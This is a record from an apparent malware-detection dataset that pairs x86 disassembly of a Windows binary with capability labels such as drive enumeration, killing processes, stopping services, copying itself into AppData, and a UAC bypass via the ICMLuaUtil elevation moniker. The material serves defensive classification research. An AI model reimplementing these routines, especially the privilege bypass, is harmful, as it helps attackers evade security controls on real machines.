joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415cb0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0xc], 0
je 0x415cc6
mov al, 1
jmp 0x415d23
push 0xf0000000
push 1
push 0x494ac8
push 0
mov ecx, dword [ebp - 8]
add ecx, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x415d21
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x415d1d
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
mov edx, dword [ebp - 8]
add edx, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x415d14
mov byte [ebp - 1], 1
jmp 0x415d18
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
jmp 0x415d23
xor al, al
jmp 0x415d23
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x415d30
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 8], 0
je 0x415d46
mov al, 1
jmp 0x415d9a
push 0
push 0x18
push 0
push 0
mov ecx, dword [ebp - 8]
add ecx, 8
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x415d98
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x415d94
push 8
push 0x18
push 0
push 0
mov edx, dword [ebp - 8]
add edx, 8
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x415d8b
mov byte [ebp - 1], 1
jmp 0x415d8f
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
jmp 0x415d9a
xor al, al
jmp 0x415d9a
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x415da0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], ecx
mov byte [ebp - 9], 0
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
je 0x415dce
mov al, byte [ebp - 9]
jmp 0x415e73
mov dword [ebp - 8], 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 1
push 0
mov ecx, dword [ebp + 8]
call fcn.00407e90
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x415e70
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x415e70
push 0
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 1
push 0
mov ecx, dword [ebp + 8]
call fcn.00407e90
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x415e5d
mov edx, dword [ebp - 0x14]
add edx, 4
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x415e5d
mov byte [ebp - 9], 1
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 9]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x416ba0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4710c0
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x50], ecx
xor eax, eax
mov byte [ebp - 0x41], al
push 0xc
lea ecx, [ebp - 0x20]
call fcn.004015c0
lea ecx, [ebp - 0x20]
call fcn.004066a0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], 0
jmp 0x416bfd
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 0x1a
jae 0x416cae
movzx edx, word [ebp - 0x40]
add edx, 0x41
mov word [ebp - 0x3c], dx
movzx eax, word [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x11]
call fcn.00416cf0
lea ecx, [ebp - 0x38]
call fcn.004079a0
movzx edx, al
test edx, edx
jne 0x416c49
lea eax, [ebp - 0x38]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x20]
call fcn.00411e50
jmp 0x416ca1
mov edx, 1
mov ecx, dword [ebp - 0x40]
shl edx, cl
and edx, dword [ebp - 0x4c]
je 0x416ca1
mov ax, word [ebp - 0x3c]
mov word [ebp - 0x48], ax
lea ecx, [ebp - 0x46]
push ecx
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x58]
call fcn.00401bb0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x38]
call fcn.00416e90
push 0x48369c
lea ecx, [ebp - 0x38]
call fcn.00416920
lea eax, [ebp - 0x38]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x20]
call fcn.00411e50
lea ecx, [ebp - 0x38]
call fcn.00407b40
jmp 0x416bf4
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x20]
call fcn.004078b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4

Function at 0x417ce0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp + 0xc]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x417d7f
push 0
push 0x104
lea ecx, [ebp - 0x28]
call fcn.00407c30
lea ecx, [ebp - 0x28]
call fcn.00407a20
push eax
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a90
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0x2c], eax
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004079d0
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
jmp 0x417d8f
push 0x488edc
mov ecx, dword [ebp + 8]
call fcn.00407cd0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x41c590
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], 0x104
push 0
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x28]
call fcn.00407c30
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a90
push eax
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41c618
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004079d0
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
call fcn.0041c9f0
jmp 0x41c620
lea ecx, [ebp - 0x28]
call fcn.00407ac0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8

Function at 0x41c770
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471760
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403840
push 0xc
lea ecx, [ebp - 0x20]
call fcn.004015c0
lea ecx, [ebp - 0x20]
call fcn.004066a0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], 0
jmp 0x41c7d4
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], 0x1a
jae 0x41c86e
movzx edx, word [ebp - 0x40]
add edx, 0x41
mov word [ebp - 0x3c], dx
movzx eax, word [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea ecx, [ebp - 0x14]
call fcn.0041c8b0
lea ecx, [ebp - 0x38]
call fcn.004079a0
movzx edx, al
test edx, edx
je 0x41c861
mov eax, 1
mov ecx, dword [ebp - 0x40]
shl eax, cl
and eax, dword [ebp - 0x4c]
jne 0x41c861
mov cx, word [ebp - 0x3c]
mov word [ebp - 0x44], cx
lea edx, [ebp - 0x42]
push edx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x54]
call fcn.00401bb0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x38]
call fcn.00416e90
push 0x494d74
lea ecx, [ebp - 0x38]
call fcn.00416920
lea eax, [ebp - 0x38]
push eax
call fcn.00401650
add esp, 4
push eax
lea ecx, [ebp - 0x20]
call fcn.00411e50
lea ecx, [ebp - 0x38]
call fcn.00407b40
jmp 0x41c7cb
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x20]
call fcn.004078b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41d370
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470e50
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
je 0x41d3b1
xor al, al
jmp 0x41d48f
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401650
add esp, 4
push eax
lea edx, [ebp - 0x2c]
push edx
mov ecx, dword [ebp - 0x38]
call fcn.0041d4b0
lea ecx, [ebp - 0x2c]
call fcn.004079a0
movzx eax, al
test eax, eax
je 0x41d3ed
mov byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x2c]
call fcn.00407b40
mov al, byte [ebp - 0x2d]
jmp 0x41d48f
mov ecx, 0x4a3ac0
call fcn.00412340
push eax
lea ecx, [ebp - 0x2c]
call fcn.00416940
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x2c]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
je 0x41d480
mov dword [ebp - 0x14], 0
push 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, 0x4a3ac0
call fcn.00412360
mov ecx, eax
call fcn.00407a20
push eax
mov ecx, 0x4a3ac0
call fcn.00412360
mov ecx, eax
call fcn.00407e90
push eax
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x2e], 1
lea ecx, [ebp - 0x2c]
call fcn.00407b40
mov al, byte [ebp - 0x2e]
jmp 0x41d48f
mov byte [ebp - 0x2f], 0
lea ecx, [ebp - 0x2c]
call fcn.00407b40
mov al, byte [ebp - 0x2f]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41e9a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41ea30
push 0x44
push 0
lea ecx, [ebp - 0x48]
push ecx
call fcn.00451270
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
call fcn.00407a40
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41ea30
push 0xffffffffffffffff
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x41ea32
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4

Function at 0x41ea80
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4718b0
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x254], ecx
xor eax, eax
mov byte [ebp - 0x249], al
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x41ebcf
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xffffffff
je 0x41ebcf
push 0x22c
push 0
lea edx, [ebp - 0x240]
push edx
call fcn.00451270
add esp, 0xc
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x41ebc2
lea edx, [ebp - 0x21c]
push edx
lea ecx, [ebp - 0x26c]
call fcn.00407cd0
lea eax, [ebp - 0x26c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x11]
call fcn.0041ebf0
mov byte [ebp - 0x241], al
lea ecx, [ebp - 0x26c]
call fcn.00407b40
movzx edx, byte [ebp - 0x241]
test edx, edx
je 0x41eba6
mov eax, dword [ebp - 0x238]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x41eba6
push 0
mov ecx, dword [ebp - 0x250]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x41ebd1
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x41eb25
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41ed00
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x2d], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41eeb8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x41eeb8
push 0x2c
mov ecx, dword [ebp + 8]
call fcn.00407a40
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x41eeae
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41eea4
cmp dword [ebp - 0x28], 1
je 0x41eea4
cmp dword [ebp - 0x28], 3
jne 0x41ee34
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, 0xa
div ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x3e8
jae 0x41ede4
mov dword [ebp - 0x38], 0x3e8
jmp 0x41edf4
cmp dword [ebp - 0x38], 0x2710
jbe 0x41edf4
mov dword [ebp - 0x38], 0x2710
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x41ee1a
jmp 0x41ee34
cmp dword [ebp - 0x28], 1
jne 0x41ee22
jmp 0x41ee34
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp + 0xc]
jbe 0x41ee32
jmp 0x41ee34
jmp 0x41edbd
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0x44]
call fcn.0041ef60
lea eax, [ebp - 0x2c]
push eax
push 1
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x41eea4
cmp dword [ebp - 0x28], 1
je 0x41eea4
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41eea2
cmp dword [ebp - 0x28], 1
jne 0x41ee92
mov byte [ebp - 0x2d], 1
jmp 0x41eea4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp + 0xc]
jbe 0x41eea2
jmp 0x41eea4
jmp 0x41ee5c
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x420340
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471960
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], ecx
push str.AppData
lea ecx, [ebp - 0x5c]
call fcn.00407cd0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x44]
call fcn.00420540
lea ecx, [ebp - 0x5c]
call fcn.00407b40
lea ecx, [ebp - 0x28]
call fcn.004079a0
movzx edx, al
test edx, edx
jne 0x420435
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
call fcn.00420470
lea ecx, [ebp - 0x40]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x42042d
push 0x494dd0
lea ecx, [ebp - 0x28]
call fcn.00416920
push 0x494dd4
lea ecx, [ebp - 0x28]
call fcn.00416920
push str..exe
lea ecx, [ebp - 0x28]
call fcn.00416920
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a40
push eax
lea ecx, [ebp - 0x40]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x42042d
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x40]
call fcn.00407b40
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
jmp 0x42044d
lea ecx, [ebp - 0x40]
call fcn.00407b40
push 0x494df0
mov ecx, dword [ebp + 8]
call fcn.00407cd0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4

Function at 0x420540
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp + 0xc]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x4205df
push 0
push 0x104
lea ecx, [ebp - 0x28]
call fcn.00407c30
lea ecx, [ebp - 0x28]
call fcn.00407a20
push eax
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a90
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0x2c], eax
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004079d0
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
jmp 0x4205ef
push 0x494df8
mov ecx, dword [ebp + 8]
call fcn.00407cd0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x420c80
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4719f0
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x270], ecx
xor eax, eax
mov byte [ebp - 0x265], al
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x420e43
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], ecx
lea edx, [ebp - 0x23c]
push edx
push 0x494f88
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x420e3d
xor eax, eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x22c]
push ecx
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
jne 0x420e3d
push 0x208
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.00451270
add esp, 0xc
push str.Elevation:Administrator_new:
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.004558bc
add esp, 0xc
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call fcn.00455920
add esp, 0xc
push 0x24
lea edx, [ebp - 0x260]
push edx
call fcn.00420aa0
add esp, 8
mov dword [ebp - 0x260], 0x24
mov dword [ebp - 0x24c], 4
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x260]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x420ddb
jmp 0x420da8
jmp 0x420ddf
cmp dword [ebp - 0x264], 0
je 0x420e3d
push 5
push 0
push 0
push 0
lea ecx, [ebp - 0x288]
push ecx
lea ecx, [ebp - 0x219]
call fcn.00420e60
mov ecx, eax
call fcn.00407a40
push eax
mov edx, dword [ebp - 0x264]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
call edx
lea ecx, [ebp - 0x288]
call fcn.00407b40
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret

Function at 0x43c95f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret